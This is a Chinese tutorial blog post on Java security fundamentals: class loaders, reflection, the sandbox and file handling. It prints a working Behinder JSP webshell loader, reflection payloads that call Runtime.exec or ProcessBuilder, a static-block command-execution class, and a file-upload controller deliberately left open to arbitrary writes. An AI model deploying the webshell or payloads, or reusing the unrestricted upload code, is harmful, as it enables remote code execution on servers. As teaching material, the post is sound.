Java基础知识点总结归纳,超级全面!(2021版)_java复习基础-CSDN博客
Java教程 – 廖雪峰的官方网站(推荐看该文之前先过一遍java的基础语法和概念知识,理解起来会更好)这里笔者最开始也是直接从java安全基础开始看,但是发现没有源码基础也是有点晦涩难懂,于是也是重新从源码开始学着走。
JAVA安全模型
初期:在Java中将执行程序分为本地和远程两种,本地代码默认视为可信任的,而远程代码则被看作是不受信的。受信任代码可以访问本地一切资源,非受信任的远程代码则依赖于沙箱机制,将Java代码限定在虚拟机(JVM)特定的运行范围中,并且严格限制代码对本地系统的资源访问。
发展之后:采用沙箱虽然能有效限制代码,但不利于程序拓展,例如一个游戏需要添加拓展功能,采用沙箱制就不利于后续功能的添加,只能重写。因此后续逐步添加了策略(允许用户指定代码对本地资源的访问权限)、类加载器(所有代码都按照用户策略设定,由类加载器加载到虚拟机中权限不同的运行空间)的概念。
最后添加了 域(虚拟机会把所有代码加载到不同的系统域和应用域,系统域部分专门负责与关键资源进行交互,而各个应用域部分则通过系统与的部分代理来对各种需要的资源进行访问,存在于不同域中的类文件只有了当前域的全部权限)的概念,最终形成了如今的java安全模型
类加载机制
Java代码的运行机制可以看成,由java代码经过编译得到 装有字节码的class文件(也就是类文件),再经过类加载机制进行加载、链接和初始化,最后由JVM(java虚拟机)进行内存分配和解释执行(或者是JIT即时编译)。而类加载器ClassLoader的主要作用就是Java类文件的加载。
Java类加载方式分为显式
和隐式
,显式
即我们通常使用Java反射
或者ClassLoader
来动态加载一个类对象,而隐式
指的是类名.方法名()
或new
类实例。显式
类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
在程序运行时,并不会一次性加载所有的class文件进入内存,而是通过Java的类加载机制(ClassLoader)进行动态加载,从而转换成java.lang.Class类的一个实例。
常见的类动态加载方式:Class.forName(“类名”);Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
注意:.java文件与.class文件的关系。.java通过javac编译得到.class文件,相反javap命令则将.class文件反汇编成该class文件对应的类。
类加载流程:(以一个Java的HelloWorld来学习ClassLoader)
1、ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
2、调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
3、如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
4、如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
5、如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
6、如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
7、返回一个被JVM加载后的java.lang.Class类对象。
类加载器种类:
- 启动类加载器(Bootstrap ClassLoader):负责加载存放在$JAVA_HOME\jre\lib下,或被-Xbootclasspath参数指定的路径中的,并且能被虚拟机识别的类库(如rt.jar,所有的java.*开头的类均被Bootstrap ClassLoader加载)。启动类加载器是无法被Java程序直接引用的。
- 扩展类加载器(Extension ClassLoader):该加载器由sun.misc.Launcher$ExtClassLoader实现,它负责加载$JAVA_HOME\jre\lib\ext目录中,或者由java.ext.dirs系统变量指定的路径中的所有类库(如javax.*开头的类),开发者可以直接使用扩展类加载器。
- 应用程序类加载器(Application ClassLoader):该类加载器由sun.misc.Launcher$AppClassLoader来实现,它负责加载用户类路径(ClassPath)所指定的类,开发者可以直接使用该类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
- 自定义类加载器(User ClassLoader):如果有必要,我们还可以加入自定义的类加载器。因为JVM自带的ClassLoader只是懂得从本地文件系统加载标准的java class文件。
一个示例:JSP自定义类加载后门:以冰蝎
为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals
方法实现恶意攻击,其中equals
方法传入的pageContext
对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。示例如下:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
双亲委派机制
创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(但两者必须是非继承关系),且同级ClassLoader跨类加载器调用方法时必须使用反射
通常情况下,我们就可以使用JVM默认三种类加载器进行相互配合使用,且是按需加载方式,就是我们需要使用该类的时候,才会将生成的class文件加载到内存当中生成class对象进行使用,且加载过程使用的是双亲委派模式,即把需要加载的类交由父加载器进行处理。
双亲委派机制:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把请求委托给父加载器去完成,依次向上,因此,所有的类加载请求最终都应该被传递到顶层的启动类加载器中,只有当父加载器在它的搜索范围中没有找到所需的类时,即无法完成该加载,子加载器才会尝试自己去加载该类。(好处:双亲委派机制主要是为了防止加载同一个.class,通过委托确认是否加载,如已加载,无需重复加载,保证数据安全;同时防止核心.class不能被篡改。)
JAVA沙箱机制
Java安全模型的核心就是Java沙箱,沙箱是一个限制程序运行的环境,它将Java代码限定在虚拟机(JVM)特定的运行范围中,并且严格限制代码对本地系统资源访问,通过这样的措施来保证对代码的有效隔离,防止对本地系统造成破坏。
沙箱主要限制系统资源(CPU、内存、文件系统、网络)的访问。不同级别的沙箱对系统资源访问的限制也有差异。
沙箱安全机制的基本组件:
- 字节码校验器(bytecode verifier):确保Java类文件遵循Java语言规范。这样可以帮助Java程序实现内存保护。但并不是所有的类文件都会经过字节码校验,比如核心类。
- 类装载器(class loader):类装载器在3个方面对Java沙箱起作用:1、防止恶意代码去干涉善意的代码;2、守护了被信任的类库边界;3、将代码归入保护域,确定了代码可以进行哪些操作
- 存取控制器(access controller):存取控制器可以控制核心API对操作系统的存取权限,而这个控制的策略设定,可以由用户指定。
- 安全管理器(security manager):是核心API和操作系统之间的主要接口。实现权限控制,比存取控制器优先级高。
- 安全软件包(security package):java.security下的类和扩展包下的类,允许用户为自己的应用增加新的安全特性,包括:安全提供者、消息摘要、数字签名、加密、鉴别
JAVA反射机制
不同于php等其他语言,java拥有反射这一特性,这是他的动态特性体现,利用反射机制我们可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:Spring MVC
、ORM框架
等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。
Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。(即对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用),如下代码为例:
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
获取类的方法: forName
实例例化类对象的方法: newInstance
获取函数的方法:getMethod
执行函数的方法: invoke
如何获取Class对象:(Java反射操作的是java.lang.Class
对象,所以我们需要先想办法获取到Class对象)
obj.getClass()
如果上下文中存在某个类的实例obj ,那么我们可以直接通过obj.getClass() 来获取它的类。准确的说是返回调用该方法的对象的运行时类对象(Runtime Class Object)。也就是说,它返回的是调用这个方法的对象所属的类的 Class 对象。类名.class
如果你已经加载了某个类,只是想获取到它的java.lang.Class 对象,那么就直接拿它的class 属性即可。这个方法其实不不属于反射,如:com.anbai.sec.classloader.TestHelloWorld.class
Class.forName
如果你知道某个类的名字,想获取到这个类,就可以使用forName 来获取,如Class.forName(“com.anbai.sec.classloader.TestHelloWorld”)同时,ClassLoader.getSystemClassLoader().loadClass(“java.lang.Runtime”) 类似的利用类加载机制,也可以获取 Class 对象
,如c classLoader.loadClass(“com.anbai.sec.classloader.TestHelloWorld”)
获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
获取Runtime类Class对象代码片段:
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
通过以上任意一种方式就可以获取java.lang.Runtime
类的Class对象了。后面会提到:反射调用内部类的时候需要使用$
来代替.
,如com.anbai.Test
类有一个叫做Hello
的内部类,那么调用的时候就应该将类名写成:com.anbai.Test$Hello
(java.lang.Runtime
因为有一个exec
方法可以执行本地命令,所以在很多的payload
中我们都能看到反射调用Runtime
类来执行本地系统命令)
反射创建类实例:在Java的任何一个类都必须有一个或多个构造方法
,如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。
Runtime类构造方法示例代码片段:
public class Runtime {
/** Don't let anyone else instantiate this class */
private Runtime() {}
}
从上面的Runtime
类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以我们没办法new
一个Runtime
类实例即不能使用Runtime rt = new Runtime();
的方式创建Runtime
对象,但示例中我们借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime
对象。
runtimeClass1.getDeclaredConstructor
和runtimeClass1.getConstructor
都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组,如:clazz.getDeclaredConstructor(String.class, String.class)
。
如果我们想获取类的所有构造方法可以使用:clazz.getDeclaredConstructors
来获取一个Constructor
数组。
获取到Constructor
以后我们可以通过constructor.newInstance()
来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:constructor.newInstance("admin", "123456")
。当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)
修改访问权限就可以成功的创建出类实例了。
反射调用类方法:Class
对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法
获取当前类所有的成员方法:
Method[] methods = clazz.getDeclaredMethods()
获取当前类指定的成员方法:
Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);
getMethod
和getDeclaredMethod
都能够获取到类成员方法,区别在于getMethod
只能获取到当前类和父类
的所有有权限的方法(如:public
),而getDeclaredMethod
能获取到当前类的所有成员方法(不包含父类)。
反射调用方法:获取到java.lang.reflect.Method
对象以后我们可以通过Method
的invoke
方法来调用类方法。
调用类方法代码片段:
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
method.invoke
的第一个参数必须是类实例对象,如果调用的是static
方法那么第一个参数值可以传null
,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)
的方式调用。
method.invoke
的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型
。
反射调用成员变量:Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。
获取当前类的所有成员变量:
Field fields = clazz.getDeclaredFields();
获取当前类指定的成员变量:
Field field = clazz.getDeclaredField("变量名");
(getField和getDeclaredField的区别同getMethod和getDeclaredMethod)
获取成员变量值:Object obj = field.get(类实例对象);
修改成员变量值:field.set(类实例对象, 修改后的值);
同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限。
如果我们需要修改被final关键字修饰的成员变量,那么我们需要先修改方法
// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");
// 设置modifiers修改权限
modifiers.setAccessible(true);
// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// 修改成员变量值
field.set(类实例对象, 修改后的值);
JAVA反射示例
反射例子1-forName
forName有两个函数重载:
Class<?> forName(String name)
Class<?> forName(String name, **boolean** initialize, ClassLoader loader)
第一个就是我们最常见的获取class的方式,其实可以理理解为第二种方式的一个封装:
Class.forName(className)
// 等于
Class.forName(className, true, currentLoader)
默认情况下, forName 的第⼀个参数是类名;第二个参数表示是否初始化;第三个参数就是ClassLoader(类加载器) 。Java默认的ClassLoader 就是根据类名来加载类,这个类名是类完整路路径,如java.lang.Runtime
类的初始化顺序:以下面的例子为例:
public class TrainPrint {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
public static void main(String[] args) {
TrainPrint train = new TrainPrint(); // 创建 TrainPrint 类的新实例
}
}
可以看到,首先调用的是static {}
,其次是{}
,最后是构造函数
。
其中, static {}
就是在“类初始化”的时候调用的,而{}
中的代码会放在构造函数的super() 后面,但在当前构造函数内容的前面。
所以说, forName 中的initialize=true
其实就是告诉Java虚拟机是否执行”类初始化“。
Person p = new Person(“zhangsan”,20); 该句话都做了什么事情?
1,因为new用到了Person.class.所以会先找到Person.class文件并加载到内存中。
2,执行该类中的static代码块,如果有的话,给Person.class类进行初始化。
3,在堆内存中开辟空间,分配内存地址。
4,在堆内存中建立对象的特有属性。并进行默认初始化。
5,对属性进行显示初始化。
6,对对象进行构造代码块初始化。
7,对对象进行对应的构造函数初始化。
8,将内存地址付给栈内存中的p变量。
那么假如我们有如下函数,其中函数的参数name可控:
public void ref(String name) throws Exception {
Class.forName(name);
}
我们就可以编写⼀个恶意类,将恶意代码放置在static {}
中,从而执行:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
通过反射无需实例调用(两种演示)
public class hey {
public String name="Hey";
public void get_name(){
System.out.print("good job! "+name+", You've successfully used reflections\n");
}
}
public class test {
public static void main(String[] args) throws Exception{
execute("hey", "get_name");
}
public static void execute(String a, String b) throws Exception{
Class clazz = null;
clazz = Class.forName(a);
clazz.getMethod(b).invoke(clazz.newInstance());
}
}
正常将上述文件编译后:1、javac test.java
2、java test,即会触发如下内容,即可代表成功写入
(整个过程核心就是利用动态加载类class.forname触发恶意类的静态初始化块(static{})的代码执行,因为当JVM首次加载一个类时(通过Class.forName()
、new
关键字等方式),会执行该类的静态初始化块(static{}
),从而执行了我们写入static{}的恶意代码)
反射例子2-单例模式中静态方法利用
我们可以使用forName加载任意类,而不需要import
,这样对于我们的攻击者来说就十分有利。
class.newInstance()
可以调用类中的无参构造函数 但是有些情况是无法使用的
- 因为可能使用的类没有无参构造函数
- 构造函数是私有的(单例情况)
加载内部类:有时候会看到类名的部分包含$
符号,它的作用是查找内部类Java的普通类C1
中支持编写内部类C2
,而在编译的时候,会生成两个文件: C1.class
和C1$C2.class
,我们可以把他们看作两个无关的类,通过Class.forName("C1$C2")
即可加载这个内部类。
newInstance():class.newInstance()
可以调用类中的无参构造函数 ,但是有些情况是无法使用的:
- 因为可能使用的类没有无参构造函数
- 构造函数是私有的(单例情况)
当类的构造方法是私有时,但它是单例模式(以Runtime为例),我们无法成功利用下面的代码来执行命令
比如,对于Web应用来说,数据库连接只需要建立一次,而不是每次用到数据库的时候再新建立一个连
接,此时作为开发者你就可以将数据库连接使用的类的构造函数设置为私有,然后编写一个静态方法来
获取:
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "calc.exe");
那就没有办法去执行私有方法了吗?还可以利用 getMethod
和invoke
方通过Runtime.getRuntime()
(静态方法)来获取到Runtime 对象
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
拆分来看就是:
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
invoke 的作用是执行方法,它的第一个参数是:
- 如果这个方法是一个普通方法,那么第一个参数是类对象
- 如果这个方法是一个静态方法,那么第一个参数是类
- 这也比较好理解了,我们正常执行方法是[1].method([2], [3], [4]…) ,其实在反射里就是method.invoke([1], [2], [3], [4]…)
- 如果这个方法是一个普通方法,那么第一个参数是类对象
- 如果这个方法是一个静态方法,那么第一个参数是类
这也比较好理解了,我们正常执行方法是[1].method([2], [3], [4]...)
,其实在反射里就是method.invoke([1], [2], [3], [4]...)
反射例子3-参数的构造
getConstructor:getConstructor
可以帮助我们解决:如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)
clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
相比之前的
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "calc.exe");
这里用来执行命令的方式ProcessBuilder
,它需要调用start()
来执行命令
而这里getConstructor
作用和getMethod
类似,它接收的参数是构造函数列表类型,因为构造函数也支持重载,所以必须用参数列表类型才能唯一确定一个构造函数。
public ProcessBuilder(List<String> command)
public ProcessBuilder(String... command)
前面这个Payload用到了Java里的强制类型转换,有时候我们利用漏洞的时候(在表达式上下文中)是没有这种语法的。所以,我们仍需利用反射来完成这一步。
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
通过getMethod("start")
获取到start方法,然后invoke 执行, invoke 的第一个参数就是ProcessBuilder Object
了
- public ProcessBuilder(String… command)
也可以用这种方式来构造
...
这样的语法来表示“这个函数的参数个数是可变的,String...
也就是可变长参数(varargs)
对于可变长参数,Java其实在编译的时候会编译成一个数组,也就是说,如下这两种写法在底层是等价的(也就不能重载):
public void hello(String[] names) {}
public void hello(String...names) {}
那么对于反射来说,如果要获取的目标函数里包含可变长参数,其实我们认为它是数组就行了。所以,我们将字符串数组的类String[].class 传给getConstructor ,获取ProcessBuilder 的第二种构造函数:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
在调用newInstance 的时候,因为这个函数本身接收的是一个可变长参数,我们传给ProcessBuilder 的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new
String[][]{{"calc.exe"}})).start();
getDeclared:这个可以用来解决:如果一个方法或构造方法是私有方法,我们是否能执行它呢?
它与普通的getMethod 、getConstructor 区别是:
getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了
(getDeclaredMethod 的具体用法和getMethod 类似, getDeclaredConstructor 的具体用法和getConstructor 类似)
前文我们说过Runtime这个类的构造函数是私有的,我们需要用Runtime.getRuntime() 来获取对象。其实现在我们也可以直接用getDeclaredConstructor 来获取这个私有的构造方法来实例化对象,进而执行命令:
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
这里使用了一个方法setAccessible
,这个是必须的。我们在获取到一个私有方法后,必须用setAccessible
修改它的作用域,否则仍然不能调用。
反射Runtime执行本地命令代码片段:
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取命令执行结果
InputStream in = process.getInputStream();
// 输出命令执行结果
System.out.println(org.apache.commons.io.IOUtils.toString(in, "UTF-8"));
反射调用Runtime
实现本地命令执行的流程如下:
- 反射获取
Runtime
类对象(Class.forName("java.lang.Runtime")
)。 - 使用
Runtime
类的Class对象获取Runtime
类的无参数构造方法(getDeclaredConstructor()
),因为Runtime
的构造方法是private
的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true)
)。 - 获取
Runtime
类的exec(String)
方法(runtimeClass1.getMethod("exec", String.class);
)。 - 调用
exec(String)
方法(runtimeMethod.invoke(runtimeInstance, cmd)
)。
JAVA文件操作
Java SE内置了两类文件系统:基于阻塞模式的java.io和非阻塞模式的java.nio,通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystem
,java.io.FileInputStream
类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream
类,比如:java.io.FileReader
。
IO与NIO区别
- I/O( ): 传统的 I/O 操作是阻塞的。当一个线程执行读/写操作时,它会被阻塞,直到数据完全读取或写入完成。;NIO(java.nio): NIO 提供了非阻塞的 I/O 操作。这意味着线程可以在等待数据就绪的同时执行其他任务,而不必一直等待。
- I/O: 传统的 I/O 使用流(InputStream 和 OutputStream)。它们是单向的,而且通常是字节流或字符流;NIO: NIO 引入了通道(Channel)和缓冲区(Buffer)的概念。通道是双向的,而缓冲区可以读取和写入数据。
- NIO 提供了选择器(Selectors),允许单个线程同时管理多个通道。通过
选择器,可以实现单线程处理多个连接的高并发性能。 - NIO 提供了对文件进行内存映射的功能。这意味着可以直接在内存中操作文
件,而不必通过传统的读取和写入方法。 - 由于非阻塞和选择器的机制,NIO 在处理大量连接时通常比传统 I/O 更具有性能和扩展性。
- I/O: 适用于较简单的同步 I/O 操作,适合于连接数较少的场景;NIO: 适用于需要处理大量连接并实现高并发的场景,例如网络编程、服务器编程等。
Multipartfile文件上传
Multipartfile是SpringMVC提供简化上传操作的工具类这里我们就直接拿之前的springboot项目来整就好了
在此之前需要完善一下项目的目录结构,即在main目录下创建个webapp
目录,并在webapp目录下创建WEB-INF
目录(这里的WEB-INF目录是java web的安全目录,该目录只能由服务端访问,客户端无法访问,目录中应确保有web.xml文件)
web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
</web-app>
确保pom.xml
有如下依赖
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot</artifactId>
<version>3.3.1</version>
</dependency>
<!-- tomcat -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope>
</dependency>
<!-- servlet -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
</dependencies>
然后在application.properties
添加如下信息
server.port=8080
# 视图前缀
spring.mvc.view.prefix=/jsp1/
# 视图后缀
spring.mvc.view.suffix=.jsp
确保你的项目结构如下
在webapp/jsp1目录下创建index.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</meta>
<title>Hello</title>
</head>
<body>
<h1>Hello!!! jsp</h1>
</body>
</html>
此时启动服务并访问有如下响应
接下来写个multipartfileUpload.jsp
用来实现一个文件上传的前端
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>文件上传页面</title>
</head>
<body>
<h1>文件上传页面</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
选择要上传的文件:<input type="file" name="file"/>
<input type="submit" value="上传"/>
</form>
</body>
</html>
然后要在controller层写一个处理文件上传的代码multipartfileController
package com.example.springboottest.controller;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestPart;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
@Controller
public class multipartfileController {
@Value("${file.upload.path}")
private String uploadPath;
@PostMapping("/upload")
@ResponseBody
public String create(@RequestPart MultipartFile file) throws Exception{
String fileName = file.getOriginalFilename();
String filePath = uploadPath + fileName;
// 绝对路径 toAbsolutePath()
filePath = Paths.get(filePath).toAbsolutePath().toString();
File dest = new File(filePath);
// 未作上传限制,存在任意文件写入
Files.copy(file.getInputStream(),dest.toPath());
return "Upload success: "+ dest.getAbsolutePath();
}
}
接着在根目录下创建upload
文件夹
启动程序,访问/jsp1/multipartfileUpload.jsp
查看对应的文件夹就能发现已经成功上传了
ServletFileUpload文件上传
ServletFileUpload
文件上传需要依赖commons-fileupload
组件,常用的方法:
FileItemFactory 表单项工厂接口
ServletFileUpload 文件上传类,用于解析上传的数据
FileItem 表单项类,表示每一个表单项
boolean ServletFileUpload.isMultipartContent(HttpServletRequest request) 判断当前上传的数据格式是否是多段的格式,只有是多段数据,才能使用该方式
public List<FileItem> parseRequest(HttpServletRequest request) 解析上传的数据,返回包含 表单项的 List 集合
boolean FileItem.isFormField() 判断当前这个表单项,是否是普通的表单项,还是上传的文件类型,true 表示普通类型的表单项;false 表示上传的文件类型
String FileItem.getFieldName() 获取表单项的 name 属性值
String FileItem.getString() 获取当前表单项的值;
String FileItem.getName() 获取上传的文件名
void FileItem.write( file ) 将上传的文件写到 参数 file 所指向存
取的硬盘位置
关于其相关应用可以参考JAVA文件上传 ServletFileUpLoad 实例
使用java.nio.file.Files读取文件
文件读取和下载区别不大,都是可以用来获取到文件的内容和数据的一种方式,不同的是,文件读取是之前讲文件的内容回显输出到响应中,而文件下载则是通过浏览器下载到本地,自己再打开该文件来获取文件内容
关于下载还是读取,可以通过响应头Content-Disposition
来控制,它指示了响应是以何种方式来呈现的,通过直接输出还是通过浏览器的附件下载
Files 可以用于读取文件到List,可以将较小文件全部读取到内存中,常见的方法是使用 Files 类将文件的所有内容读入字节数组。 Files 类还有一个方法可以读取所有行到字符串列表。
Files 类是在Java 7 中引入的,如果想加载所有文件内容,使用这个类是比较适合的。只有在处理小文件并且需要加载所有文件内容到内存中时才应使用此方法。
写个NioFiles
的类
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.List;
public class NioFiles {
public static void main(String[] args) throws IOException {
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath);
}
private static void readfile(String filePath) throws IOException {
// Path 是传统给路径的封装层,主要是为了兼容不同的系统,并提供路径接口
Path path = Paths.get(filePath);
byte[] bytes = Files.readAllBytes(path);
List<String> allLines = Files.readAllLines(path, StandardCharsets.UTF_8);
System.out.println("使用Files.readAllBytes :");
System.out.println(new String(bytes));
System.out.println("使用Files.readAllLines :");
for (String line : allLines)
{
System.out.println(line);
}
}
}
再单独运行这个java代码,两种Files的函数读取文件结果如下
使用 java.io.FileReader 类读取文件
相较于上一种方式,java.io.FileReader
不支持编码方式的指定,并使用默认编码,所有有时候它的文本读取效果不是很好。
也可以使用FileReader来获取BufferedReader,然后用它来逐行读取文件
创建如下内容的IoFileReader
类
import org.springframework.boot.autoconfigure.ssl.SslProperties;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
public class IoFileReader {
public static void main(String[] args) throws IOException {
String filePath = "C:\\Users\\HONOR\\Desktop\\1.txt";
readfile(filePath);
}
private static void readfile(String filePath) throws IOException {
File file = new File(filePath);
FileReader fileReader = new FileReader(file);
int chart;
System.out.println("使用FileReader :");
while ((chart = fileReader.read()) != -1) {
System.out.print((char) chart);
}
fileReader.close();
// 重新初始化
fileReader = new FileReader(file);
BufferedReader bufferedReader = new BufferedReader(fileReader);
String line;
System.out.println("使用BufferedReader :");
while ((line = bufferedReader.readLine()) != null) {
System.out.println(line);
}
bufferedReader.close();
fileReader.close();
}
}
